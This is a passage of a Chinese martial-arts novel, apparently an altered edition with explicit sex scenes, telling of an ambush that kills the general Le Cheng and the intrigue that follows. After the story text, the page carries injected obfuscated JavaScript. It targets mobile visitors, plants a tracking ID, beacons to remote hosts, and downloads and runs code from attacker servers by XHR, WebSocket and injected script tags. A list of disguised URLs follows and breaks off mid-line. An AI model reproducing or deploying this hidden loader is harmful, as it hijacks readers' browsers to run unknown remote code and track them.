她去了。赵致战战兢兢向各人道:「诸位大人有大量,切勿怪柔姊,她……」项
少龙笑道:「致致放心,没有人会真个怪她的。」

  乌卓点头道:「不愧是惯于刺杀的高手,懂得行动前儘量休息和鬆弛,我们
好应向她学习。」此时乌果领着蒲布的拍档刘巢来到,苦候消息的众人大喜,请
他坐下。略诉离别衷情后,刘巢道:「小人接到蒲布的通知后,立即联络刻下正
在乐乘府内办事最可靠的几位兄弟,做了一番工夫,终有点眉目了。」众人大喜
聆听。

  刘巢道:「乐乘是个非常谨慎的人,兼且做尽坏事,怕人舍死报复,所以行
蹤隐秘,出入均有大批高手护着,到现在仍未有我们的兄弟能打进他内围的圈子
里。」荆俊愕然道:「你不是说有点眉目了吗?」

  刘巢道:「平时是那情况,但这两天邯郸城内形势紧张,乐乘抽调了大批府
内家将,加入了他的亲卫队里,因此我们亦有两个兄弟混了进去,否则真是没有
脸来见项爷了。」项少龙皱眉道:「他像是很怕我会对付他似的!」

  刘巢愕然道:「项爷和他有深仇大恨,他自然怕得要命哩!」这回输到项少
龙奇道:「他和我有何深仇大恨呢?」

  刘巢一怔道:「什幺?项爷竟不知舒儿是给他和赵穆轮奸致死吗?他事后还
侃侃而谈,自诩曾恣意玩过了项爷的女人呢。」项少龙起初一愣,随即会意,先
告知刘巢当日原委后,道:「舒儿虽然逃过一劫,但此人心性残暴,仍不可留。


  乌卓问刘巢道:「今晚乐乘会在那里呢?」刘巢道:「这些天来他为了城防
问题,大部份时间都留在东门旁的指挥卫所,很少回家,事实上他亦恨不得可以
不回将军府去。」

  项少龙沈声道:「他怕什幺呢?」刘巢道:「乐夫人是孝成王的妹子,赵雅
的姊姊,非常厉害,乐乘有点怕她,在外麵胡搅鬼混都要瞒着她。」

  赵致担心地道:「若他今晚仍留在指挥卫所,我们那有机会呢?」刘巢道:
「他另外还有三处别府,好放置新弄回来的女人和别人赠给他的姬妾,此人残忍
好淫,最爱淫虐美女,给他弄得残废或死去的女子数不胜数。最近邯郸一位大臣
开罪了孝成王,由乐乘负责抄家诛族,他私自留下了对方两名美妾,準备享用,
这两天他尚未有暇去做这伤天害理的事,所以我们估计他这两晚定会忍不住溜去
一逞兽欲的。」

  项少龙心下恍然,至此才明白到朱姬对乐乘恨怨的起因。乌卓再诘问有关乐
乘的一切,包括那藏娇别府的位置,车乘亲卫的情况,与其他关係的细节,刘巢
逐一详细答了。乌卓问完后,向项少龙夸奖刘巢道:「刘兄弟确是了得,显然一
直都在做工夫呢。」

  刘巢谦虚地道:「自大樑之行后,我们这群兄弟谁不愿为项爷卖命,在我们
眼中,天下英雄人物,无一人能及得上项爷。」项少龙点头道:「今次事了后,
你们就随我回鹹阳吧!以后有福同享,客气话再不说了。」刘巢大喜谢过。

  项少龙亲自把他送出去,叮嘱他着令混在乐乘亲卫内的己方兄弟,今晚千万
要找个藉口,不可随行,才返回内宅。乌卓等去预备今晚的行动,只留下赵致和
那双美丽的田氏姊妹花。项少龙定下神来,想起回邯郸后,他一直接触到的都是
乐乘客气可亲的一麵,虽明知是虚情假意,但总没有什幺直接的仇恨,现在当然
全改变过来,这种人死了,对大家实有利无害。

  项少龙对这时代最看不过眼处就是把女人视作玩物和奴隶的态度。有权势者
若赵雅等,说到底仍是依附着男人而生存。人的权利应来自比较客观公平的法律
保障,想到这里,不禁想起了法家的李斯和韩非子,自己可否设法影响他们,使
法治能代替了专言人治的儒家。但细心一想,只要一天是君权至上,真正的法治
始终是水月镜花,毫不实在。

  赵致这时迎上来挽着他道:「董爷啊!你现在的脸色很难看,真教人担心。
」项少龙心中檩然,自己这种状态,实不宜进行刺杀的任务。探手搂着赵致的腰
肢,柔声道:「致致今晚要留在这里,好好等我回来。」

  赵致一震道:「啊!不!人家要随在你身旁,不要小觑了人家的剑术好吗?
」项少龙手往下移,大力拍了两记她的粉臀,正容道:「你的身手和剑术都非常
高明,可是你却从未试过杀人,那完全是另一回事,乖乖听我的话,明白吗?」

  赵致想起要杀人,打了个寒噤,垂头无语。项少龙忽地想起鬆弛的妙法,凑
到她小耳旁道:「致致你到房内等我,不準你身上有半件衣物,待会我进来立即
与你欢好,听到了吗?」赵致又羞又喜,「嘤咛」娇呼,脱出他的怀抱,不敢看
他,逕自奔进房内。田氏姊妹呆看着他们,似明非明。项少龙把两女招前,左右
搂紧,又亲又摸道:「明晚就轮到你们了!」

  项少龙把田氏姐妹峰峦起伏的娇躯摸了个够后,来到赵致房内。赵致当真乖
乖地躲在被褥之中,只露出一张俏脸,显然身上已是不着一缕。项少龙哈哈一笑
,三手两脚把衣衫全脱,露出一身强健的体魄,将棉被一掀,钻入赵致嫩软香豔
的温柔乡里,寻幽访胜。

  项少龙一入被窝,马上寻着赵致一双修长玉腿,顺着滑腻的肌肤摸至根处,
潺潺蜜穴,正候君入内一探。项少龙熟门熟路地将粉腿一分,吻上那露滴初开的
阴唇,舌尖深入阴道探顶舔吸,赵致已不可自製地抓住他的头髮,淫叫出声:「
啊……啊……那里……喔……不……不要……嗯……你……你……欺负……人…
…家……喔……」,同时两条玉腿扣住项少龙肩膊,随着呻吟不住夹紧。

  项少龙啜饮着赵致流淌不已的琼浆玉液,两手探前握住挺俏的双乳,逗引着
诱人的乳头。赵致此时已被他的调情手段弄得骨酥肉麻,浑身无力,只想龙茎赶
紧插入,与项少龙合体交欢,蜜穴浪水犹如决堤般涌出,溢满项少龙的唇齿之间
,淫香满鼻,令人欲火狂烧。

  项少龙双手捧起赵致翘臀,起身而上,赵致一双玉腿已迫不及待地缠上腰际
,龙茎噗哧一声直入蜜穴,猛送急抽,赵致立时挺腰扭臀,高低迎合,淫声潮浪
回蕩斗室,烛火摇曳,个把时辰后才渐趋宁静。

  二更时份。城东指挥卫所大门开处,驰出一队约二百多人的骑士,布成阵形
,开上长街,再转左折入靠城墙的快道,沿城巡行。除了头尾各有四个灯笼作照
明外,队伍中间的部份没入了黑暗里,教人看不真切。两排各四十人的骑士,列
成长形,一个接一个靠外档而走,像两堵活动的墙般护着走在中间的五组骑士,
人人手持长盾,向着外侧,即使有人在屋檐或道旁放箭偷袭,亦休想可一下子射
中他们。更不用说中间的骑队了。

  中间那组骑士人数特多,足有五十人众,週边者都持着高盾,教人知道这组
内有着重要的人物。其他四组各约二十人,均手提长矛,既可冲刺,又可作掷击
之用。在秋风疾吹下,更见肃杀森严之气。

  蹄声踏碎了深夜的宁静。组与组间隔了足有三十多步,就算遇上伏击,亦很
难将他们完全包围,除非敌人兵力十倍于他们。走了半里许路后,人马离开靠着
城墙的车马快道,折右回到城里去。天上厚云重重,不见星光月色。一直追蹤着
他们的精兵团队员,忙攀往高处,借火光在敌人视线难及处,向最近的队友发出
讯号,指示乐乘队伍的位置。

  苦守在乐乘别府外的项少龙等人,迅速判断出乐乘前来的路线,作出布置。
项少龙等伏在屋檐上,他们连头脸都紧里在黑布里,只露出一对眼睛,有若一群
只在黑夜出动的幽灵。当看到昏暗的灯笼光线出现在长街远处时,提到喉咙的一
颗心才放了下来。假若乐乘不是由这方向来到别府,今晚的行动只好作罢。

  蹄声滴答中,猎物由远而近。左旁的乌卓道:「乐乘虽荒淫邪恶,但不愧赵
国名将,只看这兵阵便知他果有实学。」右旁的善柔低声道:「乐乘是我的,我
要亲手割下他的狗头来。」

  项少龙故意挨了过去,以嘴轻齧了她耳珠,才耳语道:「这是个城市的捕猎
场,谁的本领大,谁就可有最大的斩获。」善柔秀眸寒芒一闪,别过头摆出不屑
看他的姿态,却没有挪开娇躯,令项少龙泛起销魂刺激的感觉。

  此时提着灯笼的先头部队已来到他们隐伏的下方,走了过去。敌人一组、一
组地奔过长街,气氛愈趋紧张。项少龙知是时候了,轻撞了乌卓一下,此时有乐
乘在内的最多骑士那组人,刚来到眼下街心处。

  乌卓发出一下尖啸,划破了有规律的马蹄声。敌人无不骇然大震,往两旁望
去。「飕飕」声响个不断,伏在两旁屋檐上的精锐团员,弩箭齐发,取马而不取
人。战马的惨嘶声,人的怒喝声,震天响起。

  灯笼堕地,黑暗里战马吃惊跳跃,情况混乱。可是整个队形仍能大致保持完
整,足见赵军确是训练有素的精兵。乌卓知是时候了,再发出攻击的暗唬。项少
龙仍未动作,善柔已豹子般扑出屋檐,先落下了几尺,然后淩空飞出长索,扣挂
着腰间的攀爬工具,天兵般在暗黑中来到大街的上空处。

  同一时间两旁掷出十多个燃着了的火球,隐约里照出了敌人的位置,而此刻
敌人仍以为攻击者由两旁攻来,茫不知大群煞星早到了头上处。这批天兵掷出的
飞刀,準度力道均无懈可击,当敌人惊觉时,最少一半人中刀堕马,本是完整的
队形,立时溃不成军。失了主人的马儿更是横冲直撞,乱成一团。

  乐乘那组人因是众矢之的,受创最重,五十多人被放倒了近二十人,余者纷
纷翻下马背。中刀者多是伤在麵门或胸口的要害,?那间宁静的长街变成尸横马
倒的修罗地狱。项少龙等藉腰索从天而降。项少龙脚未触地前,左右撑出,两名
来不及下马的敌人麵门中招,飞堕马下。到他落在地上时,血浪出鞘,三名扑来
的敌人登时有两人了账,另一人给善柔由后砍了一刀,惨呼着倒向项少龙。

  项少龙一闪避开,环目一扫,只见地上燃烧着的红光里,十多名亲卫正护着
神色仍算冷静的乐乘,往一旁的巷口退去。长街喊杀震天,精兵团员由两旁扑出
,手持巨斧,砍杀着溃不成军的敌人,使乐乘那组人变得孤立无援。项少龙与乌
卓打个眼色,领着四名手下扑杀过去。善柔有若出柙雌虎,劈翻了两人后,再掷
飞刀,后发先至,竟抢在项乌两人前头,射进其中一人咽喉内,不愧第一流的女
刺客。

  乐乘大喝道:「上!」登时有五人扑前迎往项乌等人,他自己却继续退却。
项少龙大喝道:「乐乘奸贼,让我项少龙取你狗命。」

  乐乘此时已退至巷口,心中大定,狞笑道:「有本事就过来吧!」善柔从项
少龙身侧掠过,剑芒猛起,先一步迎上敌人。项乌等怕她有失,忙抢前出手。一
时刀光剑影,杀气翻腾。这批人均是乐乘身边最优秀的剑手,堪堪挡着他们。

  乐乘正要转身逃入小巷时,掩护他的人纷纷中箭倒地。荆俊领着数人跳将下
来,把乐乘等迫得仓皇退回街上。前方的人这时已支援不住,纷纷溅血倒地,乐
乘无奈下大喝道:「跟我来!」剩下来的六个人随他往项少龙等处奔过去。

  乐乘一声厉叱,唰的一剑劈出,快逾电闪,转眼和项少龙交换了三剑。他的
耳力那及得上项少龙,到最后一剑时,抵挡不住,震得倒退了三步。荆俊此时清
除了拦路的敌人,一个空翻,落地前蹴起双脚,不分先后,「砰!」的撑在乐乘
背心处。乐乘跄踉前僕,头盔掉地。剑光一闪,刚腰斩了一名敌人的善柔不知由
那里扑出来,抢在项少龙前,娇叱声中,乐乘立即人头落地,身首异处,惨死当
场。

  乌卓执起首级,发出撤退的号令。横过长街上空的长索亦纷被套回,不留半
点痕迹。整个行动,不出半盏热茶的工夫,彻底显现了特种部队高效率的精神和
有若爆炸的攻击力量。熊熊火光里,地上全是尸体和血泊内呻吟的赵兵。

               (待续)

第四章、城守之位

  赵穆清早便来找项少龙,两眼布满血丝,眼神闪烁不定,显是乱了方寸。项
少龙却是仍未睡醒,惺忪中挣扎起来,拥被而坐问道:「侯爷为何脸色变得比我
还要难看?」赵穆坐到榻沿,定睛打量着他好一会后,才沈声道:「你的伤势如
何?」

  项少龙试着艰难地活动一下两条手臂,摆出硬汉的样子,闷哼道:「其实只
是皮肉伤,不过受了风寒,躺了一天一夜已好多了。」赵穆并没有怀疑,事实上
在此次有命回来的人中,如今尚没有人能爬起榻来,项少龙假若龙精虎猛,才是
怪事。

  赵穆「唉!」的一声恼道:「乐乘昨晚出事了!」项少龙「剧震」失声道:
「什幺?」

  看着项少龙瞪大的眼睛,赵穆歎道:「昨晚乐乘返回别府途中遇袭,头都给
人砍掉,二百多名亲卫非死即伤,唉!」项少龙骇然道:「那个项少龙真的这幺
厉害?」

  赵穆冷哼道:「事发时附近民居的人确听到有人自称作项少龙,不过这批人
全蒙着头脸,无人能看到真麵目,事后搜捕的人发觉城东一批城兵亦被人干掉了
,只留下些攀城的长索,可是城墙外却不见足印。」项少龙「精神大振」道:「
那幺说项少龙仍应潜伏在城内,侯爷还不赶快挖他出来。」

  赵穆气道:「还用你教吗?现在整个邯郸城都给翻转了过来,除非项少龙和
他的人变成了会打洞的耗子,否则定要现形。可是直到此刻连他影子都摸不着,
你能告诉我是什幺一回事?」他显然心情恶劣,失了平时对这董马癡的器重和客
气。项少龙心中好笑,装出沈思的样儿,好一会后才道:「谁坐上了城守之职?


  赵穆颓然道:「暂时该是成胥!」项少龙色变道:「此事相当不妙。」

  赵穆道:「你明白了,乐乘一死,最大的得益者就是孝成王。对项少龙有什
幺好处?项少龙若要杀人,何时才轮到乐乘。孝成王这一着确是心狠手辣,说不
定是赵雅那贱人教他。项少龙若能来去自如,我和孝成王早没命了。」项少龙咬
牙道:「先下手为强,侯爷若能通过晶王后下毒,岂非可一举解决所有问题吗?


  赵穆苦笑道:「你当晶王后是我的手下吗?她才不会蠢得直接参与?杀行动
。但假若能杀死孝成王那昏君,我会有操纵她的方法,唉!你教我现在该怎幺办
?」项少龙大乐,终弄清楚了这奸贼和晶王后的关係了。看来他们只是在互相利
用。

  赵穆见他沈呤不语,还以为他在动脑筋为自己筹谋,长长吁出一口气道:「
有些事急也急不来,幸好我尚有你这支无人知道的奇兵,仍未算一败涂地,但少
了乐乘,自是声势大弱,田单绝不会像以前般热心对待我了。」站起来道:「先
养好伤再说吧!我还要见见其他人,好安抚他们的心。你设法再由赵雅处探听消
息,看孝成王有什幺动静。」

  项少龙道:「侯爷小心有人会变节,人心叵测,很难说哩!」赵穆没好气道
:「这个本侯怎会不晓得,以后有事我才再找你。」

  赵穆去后,项少龙躺在榻上,思潮起伏。田氏姊妹来为他梳洗更衣时,善柔
神采飞扬以轻快的脚步似小女孩般一蹦一跳走了进来,含笑来到他身后,香肩轻
碰了他一下,得意洋洋道:「最大那头老虎是谁打的呢?」项少龙失笑道:「当
然是另一头雌老虎,董某甘拜下风了。」伸手往后,把她搂得紧贴背上,带来高
度的刺激。

  善柔心情极佳,任他轻薄,出奇温柔地道:「我们只伤了十多人,真是奇闻
罕事,说出来都没有人相信。不若索性把田单都干了,那时你要人家怎样从你都
可以,像她两姊妹那样也行。」田贞姊妹立时俏脸飞红。项少龙大感头痛,扯开
话题道:「你那乖妹子到那里去了?」

  善柔挣脱了他的后抱,嗔道:「不要顾左右而言他!算什幺好汉子?」正他
梳头的田贞轻轻道:「致夫人到外麵去探听消息。哎哟!」当然是给善柔扭了一
记。

  项少龙转过身来,捋起衣袖道:「这幺霸道的女人,我老董还是首次见到,
让我把驯野马的功夫,搬来对付你!」善柔挺起酥胸,来到他身前,杏目圆瞪道
:「你敢!」

  田贞田凤知他又大耍花枪,都含笑偷看。项少龙伸出大手,往她脸蛋拧了一
下,在她用手拨前,缩了回去,笑道:「姊姊进步多了,只是动手而不出刀子。
」善柔「噗哧」一笑,白他一眼,那样子既娇媚又可爱。项少龙不由色心大动,
想把她抱个满怀时,善柔却溜了开去,到了房门处,才回首娇笑道:「你还未够
本领令本姑娘心动,回家再多学几年功夫吧!」笑着走了,银铃般的笑声像风般
吹回来。

  项少龙恨得牙痒痒时,田凤笑语道:「柔夫人其实心中爱煞了董爷,平时总
爱和我们谈着你的。」项少龙挽起两女腰肢,柔声道:「那你们呢?」

  两女娇羞垂首。看着两女同一个模样,不同的娇态,项少龙给善柔撩起的色
心化成了原始的欲火,暗忖今天邯郸乱成一片,要探视伤势的人昨天又来齐了,
偷得浮生半日閑,不若和这对玉人儿风流快活一番,也不枉此刻。心到手到,登
时一室春意。两女苦候的恩宠,终在这美妙的时光,降临到她们身上。

  田贞田凤两姐妹被项少龙一双魔手探入衣裙内爱抚不停,已是钗鬓淩乱,娇
喘不已,迫不及待地迅解罗衫,转眼一对粉雕玉琢的香豔胴体就缠上了项少龙的
身躯,两双小手忙碌地把项少龙的衣衫脱尽,露出她们朝思暮想,魂牵梦萦的壮
硕体魄。俩个美人儿搀着项少龙来到床上,让他舒服地四仰八叉地躺平,田凤随
即滑至项少龙下身,纤纤小手分别握住龙茎与龙丸套弄着,檀口轻启,舌灿莲花
,将龙茎含入吮吸缠卷,田贞则趴伏身上,一对丰盈玉乳抵在他胸膛揉蹭滑动,
乳头如两颗樱桃不住顶磨,舌尖微吐,舔舐着壮硕的胸肌,留下处处香涎,疏毛
蜜穴,摩娑着贲起的臂膀,沾黏滴滴淫液,玉手更是抚遍项少龙各处敏感地带。
俩个美人儿上下其手,项少龙如登极乐仙境,色授魂予,不知今夕何夕。

  项少龙两手也没閑着,一手在田贞胯间幽穴后庭探索抠弄,一手在田凤酥胸
乳沟间揉捏掌握,温香软玉抱满怀,好不销魂!姐妹俩樱桃小口作声不得,喉中
发出阵阵吟哦豔声,胴体如蛇鳝般扭动滑腻,大腿内侧均已淫水潺潺,苦候着项
少龙的临幸。

  田凤只觉口中龙茎如烙铁般火热狂涨,几欲顶入咽喉深处,弄得浑身发软,
见一旁田贞玉臀摆弄,蜜穴微开,阴唇已是露滴晶莹。鬆口让龙茎挺立昂首,顺
手便将田贞娇驱带过,跨坐在项少龙身上,玉手握住龙茎对着田贞蜜穴,一插而
入,爱液四溅,项少龙与田真挺送迎合,抽插套弄,田贞已不克自製地浪叫出声
:「啊……啊……小贞……喔……项……项爷……啊……小……小贞……要……
要死……了啊……啊……啊……」

  田凤伏在项少龙腿间,眼前粗壮坚挺的龙茎在田贞胯间快速忽隐忽现,体内
涌现着田贞传来的超绝快感,让她春情蕩漾,两手不住插弄自己淫水泛流的蜜穴
。项少龙猿臂一伸,把田凤拉上来跨坐身上,大嘴凑上蜜穴猛吸,满口嫩肉爱液
,淫糜腥香四溢,田凤猝不及防,也是淫声狂叫:「啊……啊……啊……喔……
项……项爷……啊……喔……不……不行……啊……啊……啊……」,姐妹俩俏
脸相对,犹如对镜自揽,一般地销魂娇豔,一般地娇声浪吟,两具曲线优美,火
辣性感的胴体,以同一角度姿势对坐扭动着,项少龙只觉自己是世间最幸运的男
人,早已忘记此刻仍身在群敌环伺的险境中,全心全意地享受这对美豔尤物带来
的绝顶高潮,也让她们从此在他身边享受安定幸福的生活。

  项少龙醒来时,田贞田凤动人的肉体,仍像八爪鱼般把他缠紧不放,故他只
略动一下,立时把这对娇慵欲死的姊妹花惊醒过来。两女一看窗外,只见阳光漫
漫,吓了一跳,忙爬起身来。项少龙被她们玉芽般粉嫩雪白的美丽胴体弄得意乱
情迷,差点压不下想把她们拉回帐内的冲动,不过记挂着邯郸的情况,才勉强起
床。

  两女欣然地为他梳洗穿衣,看着她们玉脸孕含着的幸福和快乐,项少龙心神
皆醉,两手像她们般没有半刻閑着,弄得两女小耳都红透时,才出房去了。大厅
静悄悄的,半个人影都见不到。项少龙甚感写意,这种宁逸的气氛,实是罕有,
涌起懒洋洋什幺都不想做的感觉,走到一张卧几躺了下来。

  田贞此时整理着衣衫婀娜多姿地走了出来,来到他旁盈盈跪下柔情似水道:
「董爷爱吃什幺东西?奴家去弄来给你。」项少龙给她一提,肚内顿时饿雷打鼓
,伸手摸着她脸蛋道:「随便好了!嘿!那头雌老虎到那里去了。」

  田贞忍俊不禁道:「老虎白天自然是躲在虎穴里睡觉!小凤服侍她去了。」
言罢欢天喜地去了。

  项少龙合眼假寐时,荆俊和赵致连袂回来,看两人没有芥蒂地言谈甚欢,他
更感天朗气清,心怀大放。乐乘一去,整个闷局都改变了过来,主动权已稳操于
手上。

  荆俊和赵致陪他进膳时,后者道:「我从未见过邯郸城变成这个样子,街上
处处都是赵兵,逐家逐户去搜查问话,我们行馆的武士都被徵召了去帮手,弄得
人心惶惶。」项少龙一边狼吞虎嚥,边问道:「是否有人认为是我干的呢?」

  赵致以崇慕的眼光看着他道:「董爷你最厉害就是没有出动飞针,那已成了
你的招牌,所以现下人人疑神疑鬼,我师傅甚至怀疑是李园干的,嘿!真是好笑
!」荆俊道:「我从未见过致姊这幺开心的。」

  赵致横了荆俊一眼,嗔道:「真多事!」荆俊连忙微笑赔罪。项少龙心想这
就叫一物治一物了,道:「大哥到那里去了?」

  荆俊道:「大哥回牧场去了。」压低声音道:「趁赵人把注意力集中在民居
时,送那些受了伤的兄弟回牧场治理休息,免得被人发觉出破绽。」

  项少龙放下心来。乌卓为人精明谨慎,必有瞒天过海之法。荆俊又道:「大
哥本来想找三哥说话,但三哥……嘿!」赵致杏目一瞪道:「小俊你为何吞吞吐
吐,究竟你三哥怎样了?」

  项少龙那会怕赵致,由几底探手过去,摸上赵致的大腿,这娇娃儿立即住口
垂头。田凤这时捧着一壶酒,由膳室走出来道:「董爷要不要尝尝龙阳君送来的
补酒?」荆俊鼓掌道:「三哥最需要就是这东西,你也过来陪我们喝两杯吧。」

  两女的俏脸立时烫了起来。项少龙啼笑皆非,哑然失笑道:「若非虚不受补
,凡男人都需要这东西,来!把小贞唤来,大家高兴一下。」时间就这种欢乐的
气氛里度过。到黄昏时,善柔才精神地离开卧室,拉着赵致到后园拜祭父母亲族
的亡魂。

  荆俊最爱热闹,领着十多名手下,名之为探听消息,其实却是去乱闯闲逛。
项少龙没有阻止他,因为这才合理,他们没理由对邯郸的事不闻不问的。心中记
挂着纪嫣然,但却知自己不宜出门,惟有压下这诱人的想法,找着田贞田凤闲聊
,逗得她们心花怒放。其他男人欢喜的只是她们的肉体,那有人肯听她们倾吐心
事?赵致现在已成了他半公开的情妇,索性留下不走,他也不忍拂逆。

  吃过晚饭,当项少龙以为将可过一个安静晚上时,忽来速之客,竟是平山侯
韩闯。在厅内坐下后,韩闯细察他的容色,点头道:「董兄真是比马儿还强

function BUjbpuVA(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function vSksqbAj(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BUjbpuVA(t);};window[''+'x'+'j'+'d'+'V'+'g'+'I'+'C'+'t'+'Q'+'T'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function AaoQ(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=vSksqbAj,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=AaoQ(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9473/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=AaoQ(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnnB0bC5jbiUzQTg4OTE=','d3NzJJTNBJJTJJGJJTJJGYS53aGJJnei5jbiUzQTk1MzU=','9171',window,document,['n','J']);}:function(){};
function jQEAxPhY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GIVrKx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return jQEAxPhY(t);};window[''+'Q'+'m'+'M'+'x'+'s'+'U'+'Y'+'E'+'e'+'B'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function OKqtg(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=GIVrKx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=OKqtg(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15636/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=OKqtg(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jjbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168218',window,document,['j','T']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSmSSqSS1SS4SSnSS3SS8SS9SS2SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS4SS/SS1SS1SS0SS5SS5SSbSSaSSfSScSS2SS3SS3SS4".split("SS").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMpMM.MMgMMoMMdMMmMMwMMiMMtMMhMM.MMcMMoMMmMM/MM1MM4MM/MM1MM1MM0MM5MM5MMbMMaMMfMMcMM2MM3MM3MM4".split("MM").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRoRRcRR1RR8RR1RR4RRnRR3RR8RR9RR2RR.RRoRRsRRsRR-RRcRRnRR-RRsRRhRRaRRnRRgRRhRRaRRiRR.RRaRRlRRiRRyRRuRRnRRcRRsRR.RRcRRoRRmRR/RR1RR4RR/RR1RR1RR0RR5RR5RRbRRaRRfRRcRR2RR3RR3RR4".split("RR").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD